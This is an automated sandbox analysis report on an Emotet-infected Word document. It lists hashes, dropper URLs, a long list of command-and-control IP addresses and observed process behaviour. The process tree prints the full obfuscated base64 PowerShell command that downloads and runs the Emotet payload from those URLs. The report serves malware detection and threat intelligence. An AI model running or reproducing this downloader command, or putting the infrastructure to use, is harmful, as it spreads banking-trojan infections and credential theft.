emotet | e3329a382baadcde0eaa680bb64af84a4ff50f91c601836788f7caf10a3191bd

Analysis

max time kernel
135s
max time network
148s
platform
windows10_x64
resource
win10
submitted
20/08/2020, 11:28

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General

Target
emotet_e2_e3329a382baadcde0eaa680bb64af84a4ff50f91c601836788f7caf10a3191bd_2020-08-20__112555._doc.doc
Size 236KB
Sample200820-mmv57n8fcs
SHA256 e3329a382baadcde0eaa680bb64af84a4ff50f91c601836788f7caf10a3191bd
MD5 58c1468f53bba006499fe4d7ae9fda18
SHA1 dd9fb6b27f2f1ee38059908e9594922e25983b0e
SHA512 bf5849493ecc0acfefd7f431e0eec0c43410753bba303e43e96e9e08fbdaf98338e4c2796805f95c0f4eefe408a5567d14f3176aba3f23758b943c8374d1a050
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://staatsnet.nl/cgi-bin/lQ9/
exe.dropper
http://thinkfishmedia.nl/Dev/8/
exe.dropper
http://tusek.de/cgi-bin/LROR4jp/
exe.dropper
http://vasi.de/Minecraft/bHY/
exe.dropper
http://vanlengen.de/bilder/k5a0v3Z/
exe.dropper
http://topa-mi.de/cgi-bin/iQ/
exe.dropper
http://colorthief.dk/closed-zone/FqAm/

Extracted

Family

emotet

70.121.172.89:80
116.202.234.183:8080
69.30.203.214:8080
185.94.252.104:443
64.183.73.122:80
190.55.181.54:443
37.70.8.161:80
174.137.65.18:80
203.153.216.189:7080
109.116.214.124:443
93.51.50.171:8080
190.160.53.126:80
222.214.218.37:4143
87.106.136.232:8080
113.160.130.116:8443
174.102.48.180:80
79.98.24.39:8080
189.212.199.126:443
89.186.91.200:443
24.233.112.152:80
181.230.116.163:80
85.152.162.105:80
104.131.11.150:443
153.163.83.106:80
68.44.137.144:443
97.82.79.83:80
85.105.205.77:8080
104.236.246.93:8080
24.43.99.75:80
199.101.86.142:8080
74.120.55.163:80
176.111.60.55:8080
47.144.21.12:443
109.74.5.95:8080
47.146.117.214:80
116.203.32.252:8080
98.109.204.230:80
173.62.217.22:443
107.185.211.16:80
61.19.246.238:443
5.196.74.210:8080
200.41.121.90:80
91.211.88.52:7080
24.137.76.62:80
85.66.181.138:80
70.167.215.250:8080
203.117.253.142:80
204.197.146.48:80
142.105.151.124:443
167.86.90.214:8080
139.130.242.43:80
157.147.76.151:80
187.161.206.24:80
137.59.187.107:8080
81.2.235.111:8080
95.213.236.64:8080
201.173.217.124:443
87.106.139.101:8080
93.147.212.206:80
24.179.13.119:80
152.168.248.128:443
95.179.229.244:8080
41.60.200.34:80
139.59.60.244:8080
2.58.16.85:7080
46.105.131.79:8080
78.24.219.147:8080
75.139.38.211:80
168.235.67.138:7080
110.145.77.103:80
62.75.141.82:80
68.188.112.97:80
180.92.239.110:8080
104.131.44.150:8080
67.205.85.243:8080
103.86.49.11:8080
74.208.45.104:8080
37.187.72.193:8080
157.245.99.39:8080
37.139.21.175:8080
5.39.91.110:7080
209.141.54.221:8080
188.83.220.2:443
169.239.182.217:8080
83.169.36.251:8080
121.124.124.40:7080
200.114.213.233:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	648	3832	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1608-15-0x00000000007B0000-0x00000000007BC000-memory.dmp	emotet
behavioral2/memory/1608-15-0x00000000007B0000-0x00000000007BC000-memory.dmp	emotet
behavioral2/memory/2660-18-0x0000000002020000-0x000000000202C000-memory.dmp	emotet
behavioral2/memory/2660-18-0x0000000002020000-0x000000000202C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	648	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1608	Tuizqjt.exe
2660	RpcNs4.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\winmmbase\RpcNs4.exe	Tuizqjt.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3672	WINWORD.EXE
3672	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
648	powersheLL.exe
648	powersheLL.exe
648	powersheLL.exe
2660	RpcNs4.exe
2660	RpcNs4.exe
2660	RpcNs4.exe
2660	RpcNs4.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	648	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
1608	Tuizqjt.exe
1608	Tuizqjt.exe
2660	RpcNs4.exe
2660	RpcNs4.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 648 wrote to memory of 1608	648	powersheLL.exe	74
PID 648 wrote to memory of 1608	648	powersheLL.exe	74
PID 648 wrote to memory of 1608	648	powersheLL.exe	74
PID 1608 wrote to memory of 2660	1608	Tuizqjt.exe	76
PID 1608 wrote to memory of 2660	1608	Tuizqjt.exe	76
PID 1608 wrote to memory of 2660	1608	Tuizqjt.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_e3329a382baadcde0eaa680bb64af84a4ff50f91c601836788f7caf10a3191bd_2020-08-20__112555._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3672

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABPAGEAcwA5AGsAbwA2AD0AKAAnAFoAdwBlADgAJwArACcAaABzADQAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQAZQBuAFYAOgB0AGUAbQBwAFwAbwBGAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGMAVQByAEkAYABUAHkAYABwAFIAbwB0AE8AYwBPAEwAIgAgAD0AIAAoACcAdABsAHMAMQAyACcAKwAnACwAIAB0AGwAJwArACcAcwAxADEALAAnACsAJwAgAHQAbAAnACsAJwBzACcAKQA7ACQAQwBkADIAZwA3AGoAYQAgAD0AIAAoACcAVAAnACsAJwB1AGkAegBxACcAKwAnAGoAdAAnACkAOwAkAFUAOABtAHUAagB1AGkAPQAoACcASABxACcAKwAnADgAegBnACcAKwAnAG4AdwAnACkAOwAkAEwAcQBfAGUAeAA0ADUAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9ACcAKwAnAE8AZgBmACcAKwAnAGkAYwBlADIAMAAnACsAJwAxADkAewAwAH0AJwApAC0ARgAgAFsAYwBIAEEAUgBdADkAMgApACsAJABDAGQAMgBnADcAagBhACsAKAAnAC4AJwArACcAZQB4AGUAJwApADsAJABQAHkAZQBhAHoAOQBtAD0AKAAnAEgAbgAnACsAJwBxAG0AYQAnACsAJwBtAHQAJwApADsAJABCAGIAcQB6AGUAcQBuAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBCAGMATABpAEUAbgBUADsAJABRAHgAcQBwAHkAXwAyAD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACcAcwA6ACcAKwAnAC8ALwBzAHQAYQBhACcAKwAnAHQAJwArACcAcwBuAGUAJwArACcAdAAuAG4AbAAvAGMAJwArACcAZwBpACcAKwAnAC0AYgBpAG4ALwAnACsAJwBsAFEAOQAvACcAKwAnACoAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8AJwArACcALwB0AGgAJwArACcAaQBuAGsAZgBpAHMAaABtACcAKwAnAGUAZAAnACsAJwBpACcAKwAnAGEALgBuAGwALwBEAGUAJwArACcAdgAvADgALwAqACcAKwAnAGgAJwArACcAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AdAB1AHMAZQBrAC4AZAAnACsAJwBlAC8AYwBnAGkALQAnACsAJwBiAGkAbgAvAEwAJwArACcAUgBPAFIANABqAHAAJwArACcALwAnACsAJwAqAGgAdAB0AHAAJwArACcAOgAnACsAJwAvAC8AdgBhAHMAaQAuAGQAZQAvAE0AJwArACcAaQAnACsAJwBuAGUAYwByAGEAJwArACcAZgB0ACcAKwAnAC8AYgAnACsAJwBIACcAKwAnAFkALwAqACcAKwAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AdgBhAG4AbABlAG4AZwBlAG4ALgBkACcAKwAnAGUALwBiAGkAJwArACcAbABkAGUAJwArACcAcgAvACcAKwAnAGsANQBhACcAKwAnADAAdgAzAFoALwAqACcAKwAnAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AdAAnACsAJwBvAHAAYQAtAG0AJwArACcAaQAnACsAJwAuAGQAZQAvAGMAZwBpAC0AYgBpAG4ALwBpAFEAJwArACcALwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AYwBvAGwAbwByAHQAaAAnACsAJwBpAGUAZgAuAGQAawAvAGMAbABvAHMAJwArACcAZQBkAC0AegBvAG4AJwArACcAZQAvAEYAcQBBAG0ALwAnACkALgAiAHMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATQB6AGUAbwBjAGsAZAA9ACgAJwBKAGsAdwAnACsAJwAzACcAKwAnAHYAZQBoACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEMAbABxAHIAegB5AGsAIABpAG4AIAAkAFEAeABxAHAAeQBfADIAKQB7AHQAcgB5AHsAJABCAGIAcQB6AGUAcQBuAC4AIgBkAGAATwBgAHcATgBMAE8AYABBAGQAZgBJAGwAZQAiACgAJABDAGwAcQByAHoAeQBrACwAIAAkAEwAcQBfAGUAeAA0ADUAKQA7ACQAWQBoAGQANABlAHMAZgA9ACgAJwBPACcAKwAnADMAagAnACsAJwA3AGUAOAA0ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABMAHEAXwBlAHgANAA1ACkALgAiAGwAYABlAG4ARwBUAEgAIgAgAC0AZwBlACAAMwA5ADIAOAAyACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEwAcQBfAGUAeAA0ADUAKQA7ACQAUABoAHIAaQBpAF8AbAA9ACgAJwBSAHkAbwBsACcAKwAnAHYAXwBnACcAKQA7AGIAcgBlAGEAawA7ACQAQgBvADUAagAyAGcAXwA9ACgAJwBHADUAJwArACcAbABiAGgAbAByACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQA2ADAAOQAxAGYAMQA9ACgAJwBVACcAKwAnAGoAcQA2ADIAdgBfACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:648
- C:\Users\Admin\AppData\Local\Temp\Office2019\Tuizqjt.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Tuizqjt.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1608
- - C:\Windows\SysWOW64\winmmbase\RpcNs4.exe
    "C:\Windows\SysWOW64\winmmbase\RpcNs4.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2660

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/648-10-0x000001B459D50000-0x000001B459D51000-memory.dmp

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memory/648-11-0x000001B45A010000-0x000001B45A011000-memory.dmp

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memory/648-9-0x00007FFDB5370000-0x00007FFDB5D5C000-memory.dmp

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memory/1608-15-0x00000000007B0000-0x00000000007BC000-memory.dmp

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memory/2660-18-0x0000000002020000-0x000000000202C000-memory.dmp

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memory/3672-4-0x0000020D6986B000-0x0000020D6987C000-memory.dmp

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memory/3672-8-0x0000020D699D2000-0x0000020D699DA000-memory.dmp

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memory/3672-7-0x0000020D699D2000-0x0000020D699DA000-memory.dmp

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memory/3672-6-0x0000020D68FA9000-0x0000020D68FD8000-memory.dmp

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memory/3672-5-0x0000020D6986B000-0x0000020D6987C000-memory.dmp

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memory/3672-0-0x00007FFDBD120000-0x00007FFDBD7E6000-memory.dmp

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memory/3672-3-0x0000020D69866000-0x0000020D6986B000-memory.dmp

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memory/3672-2-0x0000020D69866000-0x0000020D6986B000-memory.dmp

Download

memory/3672-1-0x0000020D6986B000-0x0000020D6987C000-memory.dmp

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